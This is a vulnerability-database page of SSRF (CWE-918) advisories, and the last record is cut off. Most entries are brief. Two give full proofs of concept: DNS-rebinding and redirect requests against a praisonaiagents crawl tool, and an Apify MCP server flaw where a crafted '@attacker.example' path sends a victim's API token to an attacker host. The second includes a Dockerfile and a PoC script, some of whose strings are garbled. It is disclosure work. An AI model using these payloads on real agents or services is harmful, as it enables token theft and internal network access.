CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6279 vulnerabilities reference this CWE, most recent first.
GHSA-6G49-GVR8-2CJ2
Vulnerability from github – Published: 2026-06-06 18:30 – Updated: 2026-06-06 18:30A flaw has been found in perfree go-fastdfs-web up to 1.3.7. Affected is the function checkServer of the file /install/checkServer of the component Installation Endpoint. Executing a manipulation can lead to server-side request forgery. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-11437"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-06T17:16:41Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in perfree go-fastdfs-web up to 1.3.7. Affected is the function checkServer of the file /install/checkServer of the component Installation Endpoint. Executing a manipulation can lead to server-side request forgery. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-6g49-gvr8-2cj2",
"modified": "2026-06-06T18:30:22Z",
"published": "2026-06-06T18:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11437"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-11437"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/822726"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/369017"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/369017/cti"
},
{
"type": "WEB",
"url": "https://www.notion.so/Server-Side-Request-Forgery-SSRF-in-go-fastdfs-web-Installation-Endpoint-35aea92a3c41806485ffeeac7e18126a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6G4H-JGH3-VXWJ
Vulnerability from github – Published: 2022-09-27 00:00 – Updated: 2022-09-29 00:00The Post SMTP Mailer/Email Log WordPress plugin before 2.1.7 does not have proper authorisation in some AJAX actions, which could allow high privilege users such as admin to perform blind SSRF on multisite installations for example.
{
"affected": [],
"aliases": [
"CVE-2022-2352"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-26T13:15:00Z",
"severity": "HIGH"
},
"details": "The Post SMTP Mailer/Email Log WordPress plugin before 2.1.7 does not have proper authorisation in some AJAX actions, which could allow high privilege users such as admin to perform blind SSRF on multisite installations for example.",
"id": "GHSA-6g4h-jgh3-vxwj",
"modified": "2022-09-29T00:00:24Z",
"published": "2022-09-27T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2352"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/dc99ac40-646a-4f8e-b2b9-dc55d6d4c55c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6G59-GM2V-QHVQ
Vulnerability from github – Published: 2026-10-07 20:22 – Updated: 2026-10-07 20:22Summary
The DNS-rebinding / redirect SSRF bypass in PRAI-05 is not limited to the httpx/urllib backend. When crawl4ai (headless Chromium via Playwright) is installed, web_crawl auto-selects provider=crawl4ai, and the headless browser re-resolves DNS and follows redirects on its own — with no per-connection SSRF guard. Runtime-confirmed read-back of the internal canary via both DNS rebinding and redirect (provider: "crawl4ai"). Status: runtime-confirmed addendum to PRAI-05.
Details
Affected component
- Package
praisonaiagents4.6.63. Backend selected whencrawl4ai+Playwright are installed. - Files:
src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py(_crawl_with_crawl4ai) andsrc/praisonai-agents/praisonaiagents/tools/crawl4ai_tools.py(standalone crawl wrappers).
Vulnerable code / root cause
Path:
src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py
Function:
_crawl_with_crawl4ai
Snippet:
async with AsyncWebCrawler() as crawler:
for url in urls:
result = await crawler.arun(url=url) # headless browser: re-resolves DNS, follows redirects
Path:
src/praisonai-agents/praisonaiagents/tools/crawl4ai_tools.py
Function:
Crawl4AITools.crawl / crawl4ai
Snippet:
result = await crawler.arun(url=url, config=config) # no _is_safe_crawl_url / no per-connect validation
Issue: the only SSRF check is the single pre-fetch _is_safe_crawl_url() on the initial URL string in web_crawl() (see PRAI-05). The headless browser then resolves and connects independently and follows redirects in-browser — no resolved-IP pinning, no per-hop/per-connect validation. Input (urls) is attacker/agent-controlled; the sink is crawler.arun(url=...); the guard is bypassed by DNS rebinding (TOCTOU) and by redirects (followed in-browser).
Attack flow / Why bypassed / Security boundary
Identical to PRAI-05: TOCTOU between the guard's resolution and the browser's connection; redirects followed in-browser; internal response returned as crawl content. See PRAI-05.
Proof of Concept
Environment
crawl4ai + Playwright Chromium installed in a dedicated runtime container (127.0.0.1:18081), same controlled internal canary + rebinding DNS. Runnable assets: PraisonAI-Runtime-Repro\runtime-files\ (docker-compose.crawl.yml).
Steps to reproduce
SSRF-04-01-Crawl4AI-DNS-Rebind-Trigger→127.0.0.1:18081:
POST /tool/web_crawl HTTP/1.1
Host: 127.0.0.1:18081
Content-Type: application/json
{"url":"http://rebind.lab:8081/secret"}
- Redirect variant
SSRF-04-03-Crawl4AI-Redirect-Readback:{"url":"http://redirector:8082/redirect-to-internal"}.
Expected result
The crawl backend refuses internal destinations regardless of DNS timing/redirects.
Actual result
HTTP 200, "provider":"crawl4ai", response content contains PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91 + FAKE_INTERNAL_TOKEN_DO_NOT_USE_7f3a91 for both the DNS-rebinding and the redirect payload.
Screenshots
Crawl4AI DNS rebinding read-back
The attacker-controlled rebind.lab URL is accepted by the Crawl4AI-backed web_crawl endpoint. PraisonAI returns the internal canary response body containing PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91.
Crawl4AI DNS rebinding runtime evidence
The runtime log shows the Crawl4AI/Chromium backend resolving rebind.lab to an internal Docker IP during the fetch phase. The internal canary receives GET /secret from a headless Chrome user agent.
Crawl4AI redirect read-back
The attacker-controlled redirector URL is accepted by the Crawl4AI-backed endpoint. PraisonAI follows the redirect and returns the internal canary response body.
Crawl4AI redirect runtime evidence
The controlled redirector returns 302 -> http://internal-canary:8081/secret, and the internal canary receives GET /secret from the Crawl4AI/Chromium backend.
Impact
Same class as PRAI-05: read-back SSRF to internal/metadata services, now on the crawl4ai backend. Broadens the affected surface (the flaw is in the shared validate-without-pinning design, not one backend).
Suggested remediation
Resolve-once + IP-pin + per-connect validation must also cover the crawl4ai backend (constrain the headless browser to the validated IP, or allowlist crawl destinations).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61429"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:22:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe DNS-rebinding / redirect SSRF bypass in PRAI-05 is **not limited to the httpx/urllib backend**. When `crawl4ai` (headless Chromium via Playwright) is installed, `web_crawl` auto-selects `provider=crawl4ai`, and the headless browser re-resolves DNS and follows redirects on its own \u2014 with no per-connection SSRF guard. Runtime-confirmed read-back of the internal canary via both DNS rebinding and redirect (`provider: \"crawl4ai\"`). Status: runtime-confirmed addendum to PRAI-05.\n\n## Details\n\n### Affected component\n- Package `praisonaiagents` 4.6.63. Backend selected when `crawl4ai`+Playwright are installed.\n- Files: `src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py` (`_crawl_with_crawl4ai`) and `src/praisonai-agents/praisonaiagents/tools/crawl4ai_tools.py` (standalone crawl wrappers).\n\n### Vulnerable code / root cause\n\nPath:\n`src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py`\n\nFunction:\n`_crawl_with_crawl4ai`\n\nSnippet:\n```python\nasync with AsyncWebCrawler() as crawler:\n for url in urls:\n result = await crawler.arun(url=url) # headless browser: re-resolves DNS, follows redirects\n```\n\nPath:\n`src/praisonai-agents/praisonaiagents/tools/crawl4ai_tools.py`\n\nFunction:\n`Crawl4AITools.crawl` / `crawl4ai`\n\nSnippet:\n```python\nresult = await crawler.arun(url=url, config=config) # no _is_safe_crawl_url / no per-connect validation\n```\n\nIssue: the only SSRF check is the single pre-fetch `_is_safe_crawl_url()` on the initial URL string in `web_crawl()` (see PRAI-05). The headless browser then resolves and connects independently and follows redirects in-browser \u2014 no resolved-IP pinning, no per-hop/per-connect validation. Input (`urls`) is attacker/agent-controlled; the sink is `crawler.arun(url=...)`; the guard is bypassed by DNS rebinding (TOCTOU) and by redirects (followed in-browser).\n\n### Attack flow / Why bypassed / Security boundary\nIdentical to PRAI-05: TOCTOU between the guard\u0027s resolution and the browser\u0027s connection; redirects followed in-browser; internal response returned as crawl `content`. See PRAI-05.\n\n## Proof of Concept\n\n### Environment\n`crawl4ai` + Playwright Chromium installed in a dedicated runtime container (`127.0.0.1:18081`), same controlled internal canary + rebinding DNS. Runnable assets: `PraisonAI-Runtime-Repro\\runtime-files\\` (`docker-compose.crawl.yml`).\n\n### Steps to reproduce\n1. `SSRF-04-01-Crawl4AI-DNS-Rebind-Trigger` \u2192 `127.0.0.1:18081`:\n```http\nPOST /tool/web_crawl HTTP/1.1\nHost: 127.0.0.1:18081\nContent-Type: application/json\n\n{\"url\":\"http://rebind.lab:8081/secret\"}\n```\n2. Redirect variant `SSRF-04-03-Crawl4AI-Redirect-Readback`: `{\"url\":\"http://redirector:8082/redirect-to-internal\"}`.\n\n### Expected result\nThe crawl backend refuses internal destinations regardless of DNS timing/redirects.\n\n### Actual result\nHTTP 200, `\"provider\":\"crawl4ai\"`, response `content` contains `PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91` + `FAKE_INTERNAL_TOKEN_DO_NOT_USE_7f3a91` for both the DNS-rebinding and the redirect payload.\n\n### Screenshots\n\n**Crawl4AI DNS rebinding read-back**\n\nThe attacker-controlled `rebind.lab` URL is accepted by the Crawl4AI-backed `web_crawl` endpoint. PraisonAI returns the internal canary response body containing `PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91`.\n\n\u003cimg width=\"1542\" height=\"763\" alt=\"01-Crawl4AI-Burp-Readback\" src=\"https://github.com/user-attachments/assets/a03b3a1c-e382-4f67-8ea6-b766dceb4a69\" /\u003e\n\n**Crawl4AI DNS rebinding runtime evidence**\n\nThe runtime log shows the Crawl4AI/Chromium backend resolving `rebind.lab` to an internal Docker IP during the fetch phase. The internal canary receives `GET /secret` from a headless Chrome user agent.\n\n\u003cimg width=\"1659\" height=\"946\" alt=\"02-Crawl4AI-DNS-Log-And-Internal-Hit\" src=\"https://github.com/user-attachments/assets/d93db090-3e39-43d0-af3b-5d1d8f614db8\" /\u003e\n\n**Crawl4AI redirect read-back**\n\nThe attacker-controlled redirector URL is accepted by the Crawl4AI-backed endpoint. PraisonAI follows the redirect and returns the internal canary response body.\n\n\u003cimg width=\"1544\" height=\"771\" alt=\"03-Crawl4AI-Redirect-Readback\" src=\"https://github.com/user-attachments/assets/7d05c8aa-5bda-45bc-b94c-bef0bdcf055c\" /\u003e\n\n**Crawl4AI redirect runtime evidence**\n\nThe controlled redirector returns `302 -\u003e http://internal-canary:8081/secret`, and the internal canary receives `GET /secret` from the Crawl4AI/Chromium backend.\n\n\u003cimg width=\"1590\" height=\"920\" alt=\"04-Crawl4AI-Redirect-Internal-Hit-Log\" src=\"https://github.com/user-attachments/assets/dd9c0fec-3583-43ab-b83c-4470fa6aa409\" /\u003e\n\n\n## Impact\nSame class as PRAI-05: read-back SSRF to internal/metadata services, now on the crawl4ai backend. Broadens the affected surface (the flaw is in the shared validate-without-pinning design, not one backend).\n\n## Suggested remediation\nResolve-once + IP-pin + per-connect validation must also cover the crawl4ai backend (constrain the headless browser to the validated IP, or allowlist crawl destinations).",
"id": "GHSA-6g59-gm2v-qhvq",
"modified": "2026-10-07T20:22:17Z",
"published": "2026-10-07T20:22:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6g59-gm2v-qhvq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61429"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-ssrf-via-crawl4ai-chromium-backend"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Crawl4AI/Chromium backend is also affected by the `web_crawl` SSRF validation bypass"
}
GHSA-6G7W-GGGP-M44G
Vulnerability from github – Published: 2026-08-21 00:31 – Updated: 2026-08-21 00:31Server-side request forgery (ssrf) in Microsoft Copilot in Azure allows an authorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-69855"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T22:18:01Z",
"severity": "HIGH"
},
"details": "Server-side request forgery (ssrf) in Microsoft Copilot in Azure allows an authorized attacker to disclose information over a network.",
"id": "GHSA-6g7w-gggp-m44g",
"modified": "2026-08-21T00:31:23Z",
"published": "2026-08-21T00:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69855"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69855"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GFM-9HQW-FJHJ
Vulnerability from github – Published: 2025-03-07 09:30 – Updated: 2025-03-07 09:30The Platform.ly for WooCommerce plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 1.1.6 via the 'hooks' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-13904"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T09:15:15Z",
"severity": "MODERATE"
},
"details": "The Platform.ly for WooCommerce plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 1.1.6 via the \u0027hooks\u0027 function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-6gfm-9hqw-fjhj",
"modified": "2025-03-07T09:30:35Z",
"published": "2025-03-07T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13904"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/platformly-for-woocommerce/trunk/platformly-for-woocommerce.php#L167"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3249460"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/944e4c96-6ded-4483-9eaf-d976646f45ea?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GJR-G247-WX36
Vulnerability from github – Published: 2025-01-31 09:31 – Updated: 2026-04-01 18:33Server-Side Request Forgery (SSRF) vulnerability in NotFound Oshine Modules. This issue affects Oshine Modules: from n/a through n/a.
{
"affected": [],
"aliases": [
"CVE-2024-44055"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-31T09:15:07Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in NotFound Oshine Modules. This issue affects Oshine Modules: from n/a through n/a.",
"id": "GHSA-6gjr-g247-wx36",
"modified": "2026-04-01T18:33:30Z",
"published": "2025-01-31T09:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44055"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/oshine-modules/vulnerability/wordpress-oshine-modules-plugin-3-3-6-unauthenticated-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GR2-QH89-HXWM
Vulnerability from github – Published: 2026-07-01 22:02 – Updated: 2026-07-01 22:02Actor MCP path authority injection leaks Apify token
Summary
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
https://real-actor-id.apify.actor@attacker.example/mcp
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 |
call-actor MCP tool |
src/utils/actor_details.ts:155 |
fetch-actor-details MCP tool |
src/mcp/server.ts:1047 |
actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
// src/mcp/client.ts:94 — SSEClientTransport requestInit
authorization: `Bearer ${token}`,
// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', `Bearer ${token}`);
// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,
There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
src/mcp/server.ts:811— MCPtools/callrequest parameters are read.src/mcp/server.ts:816—apifyTokenis resolved from_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497— attacker-controlledactoridentifier is resolved viagetActorMcpUrlCached().src/utils/actor.ts:24-28— Actor definition is fetched from the Apify API;webServerMcpPathis passed togetActorMCPServerURL().src/mcp/actors.ts:14-20—webServerMcpPathis trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44—standbyUrl + mcpServerPathproduces an authority-injected URL.connectMCPClient()is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124—Authorization: Bearer <APIFY_TOKEN>is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185checked out under the build context
Build and run:
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
The Dockerfile:
1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
2. Installs @apify/actors-mcp-server@0.10.7 dependencies under pnpm.
3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.
4. Runs exploit.mjs, which:
- Starts an HTTPS capture server on 127.0.0.1:31337.
- Constructs a webServerMcpPath of @127.0.0.1:31337/mcp.
- Calls getActorMCPServerURL() directly, producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp.
- Calls connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345).
- Asserts that the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Observed output (Phase 2 evidence):
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337
Alternative MCP request path (real-world scenario):
A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "fetch-actor-details",
"arguments": {
"actor": "attacker/malicious-mcp",
"output": { "mcpTools": true }
},
"_meta": { "mcpSessionId": "poc-session" }
}
}
The attacker's server at attacker.example receives:
Authorization: Bearer apify_api_victim_token
URL parser primitive (Node.js REPL verification):
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1 ABC.apify.actor
Recommended fix:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
- return `${standbyUrl}${mcpServerPath}`;
+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
+ if (url.origin !== standbyUrl) {
+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+ }
+ url.username = '';
+ url.password = '';
+ return url.toString();
}
Impact
Any user of @apify/actors-mcp-server who:
- has an Apify API token configured (via
APIFY_TOKEN, server options, or_meta.apifyToken), and - is induced to invoke
call-actor,fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,
will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.
This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.
Reproduction artifacts
Dockerfile
FROM node:24-slim
# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
&& rm -rf /var/lib/apt/lists/*
# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
openssl req -x509 -newkey rsa:2048 \
-keyout /certs/key.pem -out /certs/cert.pem \
-days 1 -nodes \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
2>/dev/null
# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./
# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null
# Install only production deps — build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile
# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs
# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
CMD ["node", "/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.
Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap
# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/
DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG = 'vuln-001-poc'
BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
def run(cmd, *, timeout, **kwargs):
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)
def write_result(payload: dict):
with open(RESULT_PATH, 'w') as f:
json.dump(payload, f, indent=2, ensure_ascii=False)
print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')
def main():
print('=' * 70)
print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
print('=' * 70)
# ── 1. Docker build ───────────────────────────────────────────────────────
print(f'\n[1/2] building Docker image...')
print(f' command: {" ".join(BUILD_CMD)}')
build = run(BUILD_CMD, timeout=600)
if build.returncode != 0:
msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
print('[!] build failed:\n', msg)
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'Docker build failed. error: {msg[:500]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': msg[:1000],
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
print('[+] build succeeded')
# ── 2. Docker run ─────────────────────────────────────────────────────────
print(f'\n[2/2] text while running the container...')
print(f' command: {" ".join(RUN_CMD)}')
try:
run_result = run(RUN_CMD, timeout=120)
except subprocess.TimeoutExpired:
write_result({
'passed': False,
'verdict': 'INCOMPLETE',
'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': 'timeout',
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
stdout = run_result.stdout
stderr = run_result.stderr
print('\n--- container stdout ---')
print(stdout)
if stderr:
print('--- container stderr (text 1000characters) ---')
print(stderr[:1000])
# ── 3. result verdict ──────────────────────────────────────────────────────────
passed = (
run_result.returncode == 0
and 'attacker HTTPS server received request' in stdout
and 'EXPLOIT SUCCESSFUL' in stdout
and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
)
# Build evidence excerpt (key lines only)
evidence_lines = [l for l in stdout.splitlines()
if any(k in l for k in ['PASS', 'PROOF', 'received request',
'EXPLOIT', 'parsed.hostname', 'Authorization'])]
evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
if passed:
print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
write_result({
'passed': True,
'verdict': 'PASS',
'reason': (
'Docker container withintext vulnerabilitytext fully reproductiondone. '
'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
'`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
'`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
),
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': evidence,
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
else:
reason_detail = ''
if run_result.returncode != 0:
reason_detail = f'container exit code {run_result.returncode}. '
if 'TOKEN_CAPTURED' not in stdout:
reason_detail += 'attacker serverfrom token capture text textnot not. '
if 'EXPLOIT SUCCESSFUL' not in stdout:
reason_detail += 'final success message none. '
print(f'\n[✗] FAIL — {reason_detail}')
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
if __name__ == '__main__':
main()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@apify/actors-mcp-server"
},
"ranges": [
{
